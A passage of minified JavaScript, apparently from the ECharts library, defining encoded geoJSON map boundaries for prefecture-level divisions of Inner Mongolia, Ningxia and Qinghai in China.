VŤÔ„K‚LVx„W„knL@`˜b@nÈK@a„@VXĊ¤„nVK@aVU@UnU@ašyU£Uwm™mKXUšm@IÆJnLUL@J°IVKƒKU_@Wn@@I@yVU@aV_@¥Vm@_UKUV@aƒXkaVJVUƒUXW@_@WWIUlUIVm@IVW@IU@@VU@mƒUVVkJ›_l@aVa@UƒVƒwka@UރVwV@@UnK„LVU@UmWk@mLxWa@wóƒUVUIÇÆĉ¦¯¦¯xʟJ"],encodeOffsets:[[124392,41822]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/nei_meng_gu_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"1507",properties:{name:"呼伦贝尔市",cp:[120.8057,50.2185],childNum:13},geometry:{type:"Polygon",coordinates:["@@„m@Łkƒ™Žƒklƒôƒ@£kJ°ý™ɅķÑó¤ğLĉÅlÇğŁW¯¯›™ƥóÿlwkţÈéÝƛó™°ÞÅxV¤ĉĖWƒ¯lȭţυ̃ɱÿķƅˋğɱřÝţϙȍƧĊţ@¯kWKUKm¹Å@ķJU@ƧÑƧ„ō¥˹Ɔ@L@„Þ‚VLnš@VōČWJX¦@JŻbU@ţÞmVU@ȁýóbkWWLƒƒÅ™¯UWġkmóƒ±UŹôV¼ƽ¼ƒł̥ĖƽǬʉxĉŽŻȗKΕ̛ʵƨʟÞ˹»Ƨţ»Ǖō˷Ȍ±ȚʊĠUɾɜɨmÜ֞߼˸ƅȂ¯ǖKˢğÈÒǔnƾŎՂ@šĊbôô̐¼ƒ@ĊôĊŽÞĀ™xšĖƧL±ŽœŽ‚Uš°U„°ĬƒČ°ÜƒêɴȂVł°@ƒ„nxŎèƒbȄÞȌ΀Ǹl޲IlxĊl²ÒmšôĖ™Èl„ĵºm„ÈêVþ„xɛČʉÇĵVmš„ÒƒÈɆôƐŰǀĊ°ÆǬĮƾb„yĊ@ĠšƒXǀċm»ôw°Ûk¥Çm¯ç™kkÇǫţǕéX_ĶWǖīŎaÆĵĸĊ@ȚȘ‚™ĊLĢĉ„VÆĉʊÇĕóaU¥šĉ°mkŰġUĠřk°mƒÑČÿ˜ÛƒWĸ£ʠšÆxÈÞŎÞ»ʈ²ĊÇČalÒ°Ť±ĸz„ŽĊKȲm¤Ŏ@Ò°¼nyȂUźīǖƳÈē°@šÝ̓@ƒÈkl¥Ççkxk™›JXÇƒUÅ@˜£k»„óƿīÛ@lÅJl¥óý@¯ƽġƍÅan™ċ™°é¯¹"],encodeOffsets:[[128194,51014]]}},{type:"Feature",id:"1529",properties:{name:"阿拉善盟",cp:[102.019,40.1001],childNum:3},geometry:{type:"Polygon",coordinates:["@@™ƏnǟƨʫšŹɆÿ°¯ÆV²ˢ™żÿ@ÝÆŁȰ¯ȀƳĉó™™@ğkyš¹@īš›ƒwl£Źƒƒ¯Ŧé@™ÇÇxŋĉƩUUŃōL™Ç™ĵóÝnƒóç@™™ó@ġƒƱ„¥ƒç™WUçÆōƒ@é—çťK™çȭVһƽ̻aW¥ȁ£ʵNJǓƲɳޗǔlżÞmĠóĬȂɲȮ@ÈĢŮźÔnĶŻǠšŎȭœгŃċóȭţΗÆƑÞƧÅΫóȘǫɱȁġlÛkǰȁÈnšõl¯ô„ÞɛÝkĢóWĊ„zÇɼʝ@ÇÈķlUČÅÜķnέƒǓKȮŎŎb°ĢǀŌ@ȼôĬmĠğŰōĖƧbЇƧōx@ķó£Ål±ĀƧīXÝġƃêĉK°Ýʇƅ@ΌʉżÅÒϱʈ@˺ƾ֛।࡬ţશóЈèʞUš¤Ґ_޸Ƒʠɽ̦ÝɜL׈ɛϜóȂJϚÈ@ǟͪaÞ»Ȯź"],encodeOffsets:[[107764,42750]]}},{type:"Feature",id:"1525",properties:{name:"锡林郭勒盟",cp:[115.6421,44.176],childNum:12},geometry:{type:"Polygon",coordinates:["@@ʶĬĊIȘƨƨŽ@ĬÛĢșŤĉĬƒĀóšU‚ÈŚÜènŦƐȤȄłϰUƨťƾÑ܆ğɲƜǔÈèʈƲĊƞƒšɆ¯̼V˺Ò˺ȂŤVĢêU܃x„Āˌ˘ƨ„ưѢmÞżU¼ÆlŎ@ĊçŎnÈÒͪŎźƒĸU°lżwUb°°°Vš£ÞlĠĉĊLޏɆnźÞ„n¦ĊaȂīġѝIĉůl»kƒ„™Çý„¥Ŏ¯ƒén£ġљÝȭxƒÇ™@Åçķ»óƱŎ¥™çWÿmlóa£Çb™yVÅČÇV»ÝU¯™KĉýǕċţnġ¯»ÇōUm»ğƒÑ™wƏbċÇŎċwˋÈÛÿʉѰŁkw@óÇ»ĉw™¥VÑŹU™mW»ğğljVÿŤÅźī@ř¯ğnõƐ@ÞÅnŁVljóJƒwĊÑkĕÝw¯nk¥ŏaó¦ĉƒV¦Å`ğуÑÝ@mwn¯m±@óƒÛKˍƏǓ±UšÝ™a¯lƒōšșk„èƒĬގn@ŤġŰk°ċx@œĉ`Ƨĕ°@ţÒĉwmĉ@ƒƒnƒƒa„™¥ķnƒÞĉVóÆókĉŽķ@ÝkƧƧÛaƒ°Ç@ÝÈU˜óbݼ@„ÛÒV°™@V¼ˋL™ÞɅŤŹǠVÞȗŤÇĖŚōbȁƜ"],encodeOffsets:[[113817,44421]]}},{type:"Feature",id:"1506",properties:{name:"鄂尔多斯市",cp:[108.9734,39.2487],childNum:8},geometry:{type:"Polygon",coordinates:["@@ĶL²ĬVłƑkkl@Ȏ™ŘWńÈĬȗ¯™ºlz@ĠššĊôŦô„ÒĠ°kÞܚ™n@¤„UĸèĸbŌÈXŽĸLlÒĢxɲÆ¤ÈÛƾJÈݰUšÅĶ»²VW¯ĸJôšbk‚V@ôlbnĊyÈzVôašb@ĸ‚ÞUl°yǬ²Ǭm°ššk„±lbn°@È»˜JX„VŎÑÆJ@k„LšƒÆl²™Ġ²ʊůĊġ‚řóƛÞÅ@m„ƒmLUÿóĉƧ@™»L@„›`ČĸmšȗÑţů±ĉğl¯Ā™wǎƒçƧŤÛI@±ÜĉǓçō°Uwô™ǫůķƳř±bÅ£™ÓÇwnÑó@ȁƽ@™ƒÇƧĢón»ŏĕóĊ¯b„Å™™VȯÅImƒōKU„™LǓ±Ýxċ—ŋ˜V±Āȗ°™„Źl±šÛ@WÒȁŚŹНŚÅèŌô„¼°ȰɞȂVĊ"],encodeOffsets:[[109542,39983]]}},{type:"Feature",id:"1504",properties:{name:"赤峰市",cp:[118.6743,43.2642],childNum:10},geometry:{type:"Polygon",coordinates:["@@ɲŁĢljĊwƾōÞĭ°_ŎŃźȹƒUČÿl»¯ôķVÿǬƽ™ɅġÅÑǫ»̐ʟȣU™¯wVWݍÈġW»Þ¹m݃ɛŎÿŎōͩůV¹›ō™éċ™óŹÅVVĢǩʈ@Ėċ@ķšÛšV°¯xÇÅţ¥™»°Ûô™ĉʟ„¥WýČ¥™w‚灻±mnÅķ¥ˋVƒbUÒġ»ÅxğLƧ™ƒbWĖÅxš¦U°ÝVóŰlô²@š¥ÜÞÛô„V@²±`𦙄™¯Ý@„ŽÅ„VÒō¼ôš™¤V²ŹĬÇĊƑƒţxƒç¯Lk»ʟlƽýmłÝÆƏ@mö°Ġ@ŚŹĬţÆUĀĠNJĠŽX¼šnźVUҚ¦Ċxȼ@ôlx¯łʊÒÜĀˌÇČxƍČÈƐašx„ÒĠŽn¼ŎVȐ‚¼Ģ°ŤmǖČĊþšLV°ÞŽU¼ċÈUƚzÈa‚¤ôbkŽ‚nXšè"],encodeOffsets:[[122232,46328]]}},{type:"Feature",id:"1508",properties:{name:"巴彦淖尔市",cp:[107.5562,41.3196],childNum:7},geometry:{type:"Polygon",coordinates:["@@²@Ζǀݴʶհĸ„˜ƒ¦Ķ™̒Uˌ¼ӾÇƾ¼̨UÞĉ˜Ƨ—éÝ»ƒĕĉ—ƐȍœōǪakó‚ó¯a@™ôţ™aV¯Þ¯°@²él¥ĵğťwōxó¯k±š—Vó@™aóbUÇyĉzmŽkaóŽU@l™aó‚ķIX°±Uĵ¼™Æ¯VÇÞƽIÇÜÅ£ɱŽġwkÑķKWŋÇķaķçƒV@£šmۙlÝğ¯ƒÑťóǿƴȯ°Åł@ÞŻĀˡš±ŽÅU¯°ɅĀ™źƧʬmǠšƐ"],encodeOffsets:[[107764,42750]]}},{type:"Feature",id:"1505",properties:{name:"通辽市",cp:[121.4758,43.9673],childNum:8},geometry:{type:"Polygon",coordinates:["@@ôƲĸ¼Æèš@„ÈȮwƾ»ʠĢ¥VÆ@²¥@»Ŏњ¯ĊJŤ£k»ÆÇX¯̼ōšī°aX£ôƒƾȁꥄƒ™aôŤ™ĢL°ƒĸ@Ȯ¼ÈÒʈŚôVXůÆaĠƛÈKƒķšĉôÿ@ğÈĉ™»ÇVn™ĉV›wXĠݰšČÿĸwVƒ™¯¯ǵ±™ĉ‚ǫ™ÅÅm»²Ż±ƽIm¥ţÈķ@¯šƧJV»ÞUÝç¯UġºU£ţŽóaÅÅlƒƒ™Ƨī¯K¯Þ݃ğL̑ȍƽ@ōŎōĀƑɜnÞݺX¼ÇĢގUX°xVšʠȤ̏Ǭ¼ÆÒɆ̚ŽǫƾUĀóĸ°‚k¼ċĀƑVŹȺōń¯`ÝĮƽŎĉxġNJɱłō¦"],encodeOffsets:[[122097,46379]]}},{type:"Feature",id:"1509",properties:{name:"乌兰察布市",cp:[112.5769,41.77],childNum:11},geometry:{type:"Polygon",coordinates:["@@ʠǠÞĸɲȺƒÒȂƛŎaƙÈĕȘţUÝźǟɆţšÝˌKU»š@U¯ÜÑ@ƒÞ»ôaV—ÞÇÈ@„¯ÜbƨƨÞlĸ@ĊôlôÅĊU„Ýĸmš¦ƒŽ„bm„„„Ċ@n‚ĊxŤÑ@¯‚ƨĖĊ_@›Čwl¯™ƒȭL›Ý„»ƽ¯ķů„Ǔ@ÇǓbċ™ÅÅÆwÿĠÇU£óaƒ¥¯aŎğĠţkw°»¯ůlÝĵkǻݰɱƧǫaóôɱ»Çk¯ŃóƒʇŐŻ›ĉNJŻĢ„ޝÒÈUl°ƒx°n„Ò™Ĭón™Ċğ°ÇŚĉ¦ʵVƒ°°ĬÛżÇJȁńʇʹó˂ƽŎ›Æţ¦"],encodeOffsets:[[112984,43763]]}},{type:"Feature",id:"1522",properties:{name:"兴安盟",cp:[121.3879,46.1426],childNum:6},geometry:{type:"Polygon",coordinates:["@@ÆXnlŎ°@LVLĠþœxĊUȮĊnU„ĠV@żaW¯XIŎġƒ¥Ý@K@w@K@I˺ŻŎ¦ƨƒƨÒŎIÆ@X@VºnX°lŎ@ƾĉˤƒȘǷȘÑÝݚÞbVţĸÿŤxÈĖƐށêÇKnĸ¥ô@›ķÞUnÒl@UŚaƒīˋƒ¯ÑƧx@±kXřƐƏÛéV™ˋ»lō¯ĉ„ÅÇÓǫޗĖġV@ğ»›°ĵ„ÇÞǓ¼¯m˜ÛÅŃĉĠÇƾb²çƒ™šéż¯VƒƒğÞml»ōÑV痻V¯™¯šĕÆU¯y°k¯¯V»ôDŽѰa@Źk™ġKţšóŽšbƒ„ʦƽȂó„W¤¯b™Ĭ̻ŎW°ÅÈl¼ţ¤ĉI™°ōÒ@¼±¦Å@UŽġ¦ʟŽƽ¼šÞĢÒm¤„êō°ƒ¦Èþƒšl„k¼Ċ۰JĢńȁĬ„°ƒżn‚ÇbV„ݼ@¼óĸţ¤@°Ånšl"],encodeOffsets:[[122412,48482]]}},{type:"Feature",id:"1502",properties:{name:"包头市",cp:[110.3467,41.4899],childNum:5},geometry:{type:"Polygon",coordinates:["@@źxżĀǔÆǬVȘĀŤ¥œÅƾōôˁʈͳȂŃÈIÜŻ¯ī„¯ōm™¯ɱ˝ƒķÒÝIÝ»ÅV™ƒlÅôфġ™ğVmÞnnƒWçkW܁XƝÆwU»Șĕš£ĉÑ𱱚Åk™„ƒK@lÅIō҃UW‚—IǼ¯@m‚kaƒ²™l¯™ǫnǫ±¯zkŽÝVķUô™˜l²ô°ŎwŦxĶĠk¦±ê¯@ݰU°šbóŤ@š°bôlôǩb›ŎƏȎĊ˜„ĖÞ¼˜ê—ƨÝĊ"],encodeOffsets:[[112017,43465]]}},{type:"Feature",id:"1501", +properties:{name:"呼和浩特市",cp:[111.4124,40.4901],childNum:6},geometry:{type:"Polygon",coordinates:["@@ʶUĊ¥ÈřĠ¯šĉômšīƒÑ¯m„wk¯ÇV°ÑƒżġĊljǓɱţǓ›ƝóX¯ƒɛÒóa@nÝÆôƜŚĉĢʉŰĊҙ¤ȗĖV¼ÅxWƞۂlXXèm„ÝmUnšĠƒĢóÒkƚ„ÆUÞ¼ÞJĸѰ„ɲĕš°Ŏn"],encodeOffsets:[[114098,42312]]}},{type:"Feature",id:"1503",properties:{name:"乌海市",cp:[106.886,39.4739],childNum:1},geometry:{type:"Polygon",coordinates:["@@Ș°ÇīXњŗ@ȍlkƒlUٱīĵKō¼VŽÇôXĸ¯Ž@šťê„°ź„k¤„x™œ@Ĭ"],encodeOffsets:[[109317,40799]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/ning_xia_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6403",properties:{name:"吴忠市",cp:[106.853,37.3755],childNum:4},geometry:{type:"Polygon",coordinates:["@@nLV‚@šVLšaÞbn@@l˜š@bUVlUV„zVx™¤kÞVèšXnš‚@nm°a@UƒÑ„@VŽXnV@Va„UšŽVKUUU@@U‚@@KVa@U²@‚wXkWnk„±lLnU@UmmVKnIVWnI@UK›@UK@@UVKXkmWLWUXmlkVwUyVa@w„w@aVI„K@aVÈw„KlLVV@LnV„VVnU‚ܲ°WÈIUÆ@nÞ¼‚‚@¦™@UÞUVW@UxUxVn„b„K‚b¯ÞU`VbǬ™V@XXÆVVl°InmnUôƒ°¯‚anam£œWVX‚KXmškôaVU@ƒVak@@wmaƒn@K@UÛUWKXUƒÇƒ@UI™b@alW@akLUKV@@Ukw±Iš›nL@kmwkWmk@JUIƒůVmnnU@m@UƒK„VKlkUwkƒƒnVUKmbkI±š—KƒkmVkKƒb@U@aƒVkUmn™`kIlaUK@UUKmbUIݚUa@mUa@aƒ„m@UUULUK@bmKkbWI@WXwlkXƒWa@k@kKƒLVkkK@L@JUVmzUKlwUUnW˜£XVlKUwVU@aXI@aWaUw@W@_nam@¯‚UkWVkUWaU@nwmJkUVkWVUmUkJ@ImbUaƒ@@WÅ_mJknmak@@mƒXƒaUV@„ƒxUšƒ„@‚ƒ„@VUnkVƒ@Vn@`ULUbWLXVW@kbUJ@XW`@ƒnÅĖWJƒ@—m°@xƒxšbnUa‚w²lƒÞ°xŤIVVULۂWbšbkVVXÆ`UbVL„@kx°LlV@Vœ„WbƒJn@bl¤ULV„°@lmL@ƒƒ£U@@aUwmKULVxUVVx@„™@kU™@mK¯LÇa¯@"],encodeOffsets:[[108124,38605]]}},{type:"Feature",id:"6405",properties:{name:"中卫市",cp:[105.4028,36.9525],childNum:3},geometry:{type:"Polygon",coordinates:["@@°@Èb°KnLš@lVš@@ƒUwVUUwVKnLVx@bV@„¤@„nK@k‚¯UƒVKk£@a‚m„IXa›ƒ@UkU¯Klwƒ@UKVaÅ_UWlU™aXa܁VKUUţJ¯w„ݱkxVbmŽ™a„w@wn¯˜„@XIÆĕ„m‚@X_@WVIlaX@WUXKVaVK@_Um„@lUVm@U„ƒ@„ƒV™„w@ƒVUÛwm@@W@ImKUkU@Ua‚aXƒ@wWaUKkw@UVaUamLU™nk@»±`¯@k—W@Ua™ykbƒI„„@VWJkLWUkJƒwU@ƒn¤mL¯wm@Umƒ²XVWbnV@bmxƒVkxUblLUV@kVWKU¼ƒŽkUƒ@mn@JnV@bUnmJUn@„k‚@XlxšLVVnKlLVV@š@LkKULVbk`WL@lkXW@kVƒ@UÞUlÇX™lkaUbmV¯@@L@šƒV@bkb@xƒlW„—bƒbW@—±@UJ@IU@mVk„VxV@@l„Illœn@Vm@ƒVUbl„@JLmKÛXmVkU›KULU`@LĉwƒKUX„lVUl@Vb„JX¦̼bÞxŎxɜĖĠ„Ŏaô@"],encodeOffsets:[[108124,38605]]}},{type:"Feature",id:"6404",properties:{name:"固原市",cp:[106.1389,35.9363],childNum:6},geometry:{type:"MultiPolygon",coordinates:[["@@Vnn@°xnK‚£„mV@„xlIXVlKXI@Uƒƒ„JlašzVbX@l˜°@²_@¼mlVšnKVbUb@VlxVLXb@xW„bVbV@VlnL@J@Xn@Üx„b„W@nl@nblmnIÆ`@X„@Vbna@aVUUWVkƒ@kbWakbU@VwšW@_l@nmn@@alVlk@UkmVak@@a‚UXaƒL@¯@KVa@axWI@KnkVaVJn_lJ@„X@‚m@nVanUVb@mXLlJ„VWnLla„VVaVX@KXVVkVKlknKVa@aVU@KXb@klJUknUmƒ@K@_UW@alIUamaU¯kJma@IUK@U„@@UW@@aXLVƒVJVaXIƒKlaUkUV@ambUUJkIWJ@wUI™V@JU@UwV@@Um@™nU`@UkUmVUxWUUV@aÅb@aWXkKUUƒUUaWK@wnm@IVU@aXwm@UmVaUalk@anKUwlƒUwlkK@wmaƒUkmmIk@VmkUUbW@UVUnW@kV@xkVmbVnU‚™@UbUV@a›k@kkW@„kLW¤@„nV@VU@W_UV™UU`VLUV@IUVõVULU@UUUJ@wmkUJ@šWI@l@bkKkbVVƒbVbUL@UUJ@Vm@@L@xbVVVLVlVwX@Vb@bmUkbk@@JWIUVÅw@Km@UkWKXxWLÅ@UVUnWK@xkVW„@KULwWVXVWzXVVKVXkV›V@VUbV@U„VV@š@LXxVL@V„b‚Ž„LnKVLVxXVmb@l"],["@@@J@aƒU@LWK¯UUxVVn@Ġ„„LUW@UbUUUa@KUX"]],encodeOffsets:[[[108023,37052]],[[108541,36299]]]}},{type:"Feature",id:"6401",properties:{name:"银川市",cp:[106.3586,38.1775],childNum:4},geometry:{type:"Polygon",coordinates:["@@šUšwVK@UVWÞUšbšw„V@knV˜@@KU_VK@K„ƒn@W_XWlL@Vn@Ċw@Ulaœ@Wanamī@aƒ»ŋó@aÆÅɲÿUaV_°ÝaƒLƒaUmVwVwX@VUVݚ@@¥Ý»@mVÅÇJ¯XÛ±VUmƒUmU@KUUkKƒLÇxUŽ@bƒLUJ@bƒx@xUbVzUxklWnXV‚KnXWlUL@V@ŽVLœ@VL@ŽmJUXmJULnn@VmVkKƒ²mlXWlx±@@VUb@L@@VV@VVUL™ƒVUbU@WmUƒ@„Ò@V¯bmn@VŽƒ„@lVnUšnVWŽXVl@¦VVUn@x‚š@‚XL@¦‚lXxš„Vb"],encodeOffsets:[[108563,39803]]}},{type:"Feature",id:"6402",properties:{name:"石嘴山市",cp:[106.4795,39.0015],childNum:2},geometry:{type:"Polygon",coordinates:["@@U¯ķó±ÇÛ¯™ķmbXb›@kb@Vĉxm@@UkKWXX`m@ƒ„@LULV`@L—@mU@lƒU™x™aÝVUX@VUL™x™VkLWVšš@J„nVLXVlŽUV@zl‚VL@V@b„„n@lU²WVLlLVbUŽVxUx@xǀL˜xôҜk‚K²ŽVa‚U@wXa@W™ÈĉUa@‚bÈk„m@¯"],encodeOffsets:[[109542,39938]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/qing_hai_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6328",properties:{name:"海西蒙古族藏族自治州",cp:[94.9768,37.1118],childNum:7},geometry:{type:"MultiPolygon",coordinates:[["@@„V£°š@laœXô±źwš™ô@„Ulƒża܍n™Kƒw@U„aƒ™ša²L‚mÈLƚÈxlaUa„wÞmÜbÞUšnJ°a„kôƒ‚ÑkwÝVğwÇ@ÝkkV¯¥@ò„»„nŤ¥XImw@mVwša@Åw™mLkaW—wƒ¥l»kçƒó„»@ƒWÑĉŽğ@ĉ„™‚Ń„UwóřVómĵ»™™Ý@VǕ¯kšÝĊÅk™°ÓUklkU±šI„ÇÞkƒ±@šƽJƒ™@UġIk@W¦™VÑșÓÅnťKULnޝX›ƒ@¯mUÛ@WřmóKknōbƒxÝ@ƒŽU@kw@ÿÇLţšÝUkšmwƒŽk™lċVŚU¦™ŽƒLkUWlÅÑ@aƒ@ÅѱUóġʼƒÈĉmŻ@@wkw™Kl¯U™ġ@—„lÇU™Ó¯_ƒ‚Waĉ²Åló¼VbknƒKǎÅ@ƧĢō°Ý@ğ„W™ÅxUUm@™‚ÝXۂW„ULUè¯@mbUaƒLƒbUWġxIUJWz™a¯b™y™@ōÈóLU`ÇXUl™UĉV¯n›mÛbǕLklƒUĉVƒšóaġ„ƏbġKţnkbÝmmnÝWȭȃŽÝXţWókUÇl¯U¯‚ġUɅĀ@°¯„„š¯„VÆnmJ@ĊķnóJUbÝXUlVškL@lVxnnmb@¤Vzš`ÞÞŤ@„VnÆJV„°b„UôJkzlŽkl@²óš@ÆÇ°k˃šÇbÛU@lmb™XV˜kzƒV™ŽɅĀXˢlń„ĬŹ@›éÅ@ĉńưğbUšlŽɜ_°‚@xŦ˜škbVbƒKĢ„ŤVŎް@żÈźlĊ„ôKôb@nôxŦ„Æ@ôŽŎL@þÆb@šnnšWˌbÈx‚InaŎxlU@Ѳ±ƒğVŨƨbɲ@Þ¥ôUUķWVô¯ĊWʶnôaŤˁ@£nmnIôŽǪK°xUXô@Ŧa°m‚kXÆÞVŎkĊ°ÞLȄôyVašIlwX°UVwĢÑÜKôw@nV@œm°nmŽn„Ü‚ɞ£VbmŽXnƒ°ÜÒ@xx@V‚b²UlbkxVnšJUnVVĊ°KȚm°nxÇnn¤±¦@ŽUXVV@„lV„„bmVVȁŽVxšÒ™°šIšbźaȃšbVwš@šƒVL„™ƾÑ@ƒŦô¯ĊkôÑ"],["@@„@šƒ„@n„òVœa‚w²bVxšxÜaČVô_ĊJšIVmšL„a°@Ŏ¥XlK@ƒšk„l„KVbUb˜@nUĢn‚aÈ@lmǬ»Ġ¯œn‚mnƒƨVy™Ñǖ™Ġ»ɲInŽ‚@@ÅĢƳ@¯°™ôV„KÈbVIÇ¥¯@Ýó„™@ÑnīWKšƒk™‚k@¥š™¯™Åa™Xƒ±VÅw@±Ġ¯@»™š™n™Wmw@ƒ™@¯ƒVƒUUWçƒKĉ„a±VkkƒV¯w™x@šUJ‚x@bknÇb™mÅ@Uw±U¯¦UŽ™Kmš¯I¯Žť¼ğĊ™@ǃŹÈ¯@Ý»ÇnˡJƒbÛèÇnƒ„ÅK¯„ġĠʐW¼Ålm„@¤n²ƒŽÝb@b„š¯lƒ¯@ƒšÅ¤W„™¼nV@x„„°@Vx„@lbUblbX¼W‚œšÇ²lšUŽ@¼ŽV¦@bÇlVxUbVxÞbVšœbm¦ƒVV„"]],encodeOffsets:[[[100452,39719]],[[91980,35742]]]}},{type:"Feature",id:"6327",properties:{name:"玉树藏族自治州",cp:[93.5925,33.9368],childNum:6},geometry:{type:"Polygon",coordinates:["@@ɆÿĢV°°VÈklVôŤXÞW„ȮÇÞXnmÞnlaŤmĢLƐãôb„™ĊU„VlkǖKÜaœn°mĊUšVVkÈWV_ôKŎǚ@šz°ašbXyVI‚JĢwVX„a„KVbna°@VçVKXƒÜÞWšn@VVÆwXšĠƒÞ@Ŏ¯ƨġÆ@ȍ„LlmUaô»ÆkĊ±Xb„°`šÔV‚kȘƒĢ@Všk°šLlx@xż@Ċn„Çź»ô̲VÆÒ„@@bÆÒXklV„KšV¥Æ™ČUšk‚l„nxl™çƒ¥ċç@±m¥ƒwÅJƒ@™™™Vƒ„mÈIléÈa°U¥™™@kÞV‚K²ÑWƒ°w²Ñ‚K²ñšyƐ„ÝšVmw„»kkWĉ—JWUƒVÅwƒL™mÅ@@ƒmw„kn¥Vу»°™°@@»„¯„Lla„JônV‚UůƒU@W¯Umѯ¯k@WykU@¯„wV¥ƒkVwţƒk»šwWǜĉĶçšK„ƒÞ™ÇaĉbƒI™lUƒ@kwƒWƒXUƒ°w™±@UšKn£Wĉ—KWxƒkĕVƒšamwXw™@™„Wmnk@aƒVkƒ™bĉLƒl™Imm„wUÇ‚Wx™nÝJn@¥Æ™kwƒaXƒÜĉ™¯ÅV¯¤mkƒx¯kķܙ²VWôŹVUƒƒ@V£™¥@ƒ°wn@™m@¯@UbUôķŽmn@ÆÛ@ÇýVaUÇĊVƒ@Çlğ—¯xÝŤ™lVÈÈVƒx„ƒ¤Vx™„kK@™@ƒx@„kVƒĖġ¥kIWbXŽŎx@nƒxÅUW`ƒ_—@±ŽUa™LUxƒK¯„WbkVlb—bmŽƒLÛÆWIUwƒWkwÝV@kI›ŽéUb›UUk™V¯Km¯k@Umݐ¯m¯›m—L›Þĉ‚ÛUm™ġ£UxkKm°™Lw›šk@kšƒVm„ƒKVUk›@¯a¯Ģ™móKUU™x™ImlÅn™™ÇbXèVVU„°„@ŽšŽ@„‚xXnmš™ššŽ@¼ğ°@²ÆxU‚„²šWÆb°š™š@¦llš™„XLmĬ@҃šÞô°@ȦUJÇaƒLóU¯š@°ġƴ@Ɓ@mɱJğ¼ǕššÒUzƧ‚m„n›mğ°ǫ¼knÇ@bġmmV—@VaUaƒLƒk™l@„kLW‚ō¦¯@ƒb™KUn™JĉIó`ċUÛb™wUw±ax›bñUmƒƒ@™„ƒ@—bƒaƒbǏÅXm˜„ƒÝ„ÅôVbގ™bl„UšÞVޚ„U‚°„VUxƒ@U„V„@l`™¼nL@Ċ„LW„„¤kXķWġXUVVVķ„UbVb@°kVVxÈa‚@ȦĊbšaźJ„U@Ț„„˜Vœƒlš@XkôaWƒĢ™Þ@laĸUÆb²mÞLĠ™ÞÑôbšÒĊa„JVbm¦"],encodeOffsets:[[93285,37030]]}},{type:"Feature",id:"6326",properties:{name:"果洛藏族自治州",cp:[99.3823,34.0466],childNum:6},geometry:{type:"Polygon",coordinates:["@@ÞVŤ™ÈK@ĀlxV@„Þ@„wŎalmôLšnXÆÜ@nV‚°@œ„°WmVKŦLÆmȚԂҚUX¥l@ĢJVš@„ŽƾI@w™W°™™Ån¥›kÅÝVwôƒÈç„@lÑĊĕša„JnaÆLVw°kny°UnkÆVȍĊll¦„Vƾ@@™nUźƒÈǂIn°X„wÞKô¦VWV£„@£°ókċ±I™™am¯Va™»ČĉV¥°™@m„k„¥l@„Ċm@ašU™mwXƒ@wÆxšmĢ_„`VnÆbšKVw„@@ƒnUVğVmVVöIlŽl@@çÛmƒ£UDŽw°@VUƒ¯»m¯ƒJōĖÅLƒa@»ĉ̱`U_k`ÇçšóƒkX™lK@ƒakÝރš£WċkÝ™kxƒJݯÅw™xķxmIÅx„@k±J@ýŋš›¤UœkŽmV™°ÅÝxkwmġƒnÝVU„š¦ƒŤlmšóXk¤™UKƒç™@mVkK@klīƒ£mš¯VUbƒW¯¼ċb¯ĵam¼mVX„m@k¤ÇX‚ÇbƒUƒ„¯J¯„¯È@˜™bVXVҙ¤V¼kxݚV„@l‚V—„WxÛ¦Wš¯šmKnlŽkŽ‚šU‚@nƑUĉ„Ý@ǺۄċUĉ¥™UƒÞŏ™z±òL±Ò¯xX„±ÒLÝU@lššV¦¯‚ÇbkêÇJƒnU„šš@š„‚ÆI„xn¦‚‚@²Č脦‚è"],encodeOffsets:[[99709,36130]]}},{type:"Feature",id:"6325",properties:{name:"海南藏族自治州",cp:[100.3711,35.9418],childNum:5},geometry:{type:"Polygon",coordinates:["@@VxƒŽńƒš@ĊĠŽĊXÒ°UƾĕÞm°£nb@‚@LUUW„Ûº@nlÆǬšĠ£ÞV°UXb‚VȂǵ„éƒ@kWanm°@™x„z„K°¯ĠVšƒVƒkw™Lnm°kÞxÆa„¥@‚wnĉƏ@™œ_l›š_VwšmĸèŤÅČU@™˜Wn@ÑmKU™nğƒK@ƒ°¯UÿV£nmšLl™„UƒUÛé±óókkmƒnƒakV@ǰóÝXƒWəÞťIţxmm™VÛUVȂÓnWyȁĉkƒVš°WnkĊa„¥‚_œK°ÿWna@ƒmU¯wƒlÝIU¤UXó¥ÝLƒx¯WmJÇÈŹ„mV@šƽ@ƒUk¥ĉkċŽÅUml¯Vmz¯lUxÅKmbƒI™bĉĖk҃@Çèó„UxÆÞœlm¦šÆ¯ššX@x™Ž@Ž„²ÝlƒÈ™JV²klVl¯ÔlšĉƙްlUǖÞ@ššĶ¼nŽUôôŚ"],encodeOffsets:[[101712,37632]]}},{type:"Feature",id:"6322",properties:{name:"海北藏族自治州",cp:[100.3711,37.9138],childNum:4},geometry:{type:"Polygon",coordinates:["@@ōmġxƽUm±Lǿþġԙ@kxmWƒb¯I¯‚mIUx@bƒbŹVǎƒkĵbƒlĉI¯¥ƒUšm@ƒÆ¯È@šašóšUlƒČ»@w›œ»›wXaƒƒó°ţç݄kUƒaV¥ÅbÝw¯lmnšKlxU„™„ğU¯°ƒLƒyšw¯@mnXb‚l„@ƒêȁǶUWa¯VÝUğ¤ǫ™kÅ@mܹXƒVV@K@ma¯¤Ýnƽ˝V@„ƒ¼„ôlèk¼„¦˜xXŽlbnKšÆx@Ž™bUx@nnxWJţ¦ƒmƒ¼ñ@ް¦lUÞlÈ@ĠxÞUlxÒó„ƒl¯bmI™ŽÝVÛaÝnƒxVbkbÇwřÇKn±K™b„šƒb@V„xšLmŽÛŽŻbk„ƒVó@™šŹxó²›Wkb™@¯U¤ƒźĊ@lUX„°lÆôU„ƒlLX‚aœV°wšxUb°xÜôÈKVkÈmlwškÈKšwšK™™VUŤĉŎ»„»„Il¥na°LV»²¯Üy@w̃°ĸwlwĢw°±„_lVkš@°ƒbƒÆ¯zƒ‚„š„@l_„@̱lŚVlUaރ„LVƒnKlnȏ°IllČa˜wÞѰx„UU™@wƒVkmĠLô»„KÞýôaÞ¥ôĀÞmƁ„™‚mUƒŎV¥Èl°²°a²¥V„@@w„amm@Ñn@Æ£żƒVƒĠ£@W„¯Þƒšl@š»@Uk@"],encodeOffsets:[[105087,37992]]}},{type:"Feature",id:"6323",properties:{name:"黄南藏族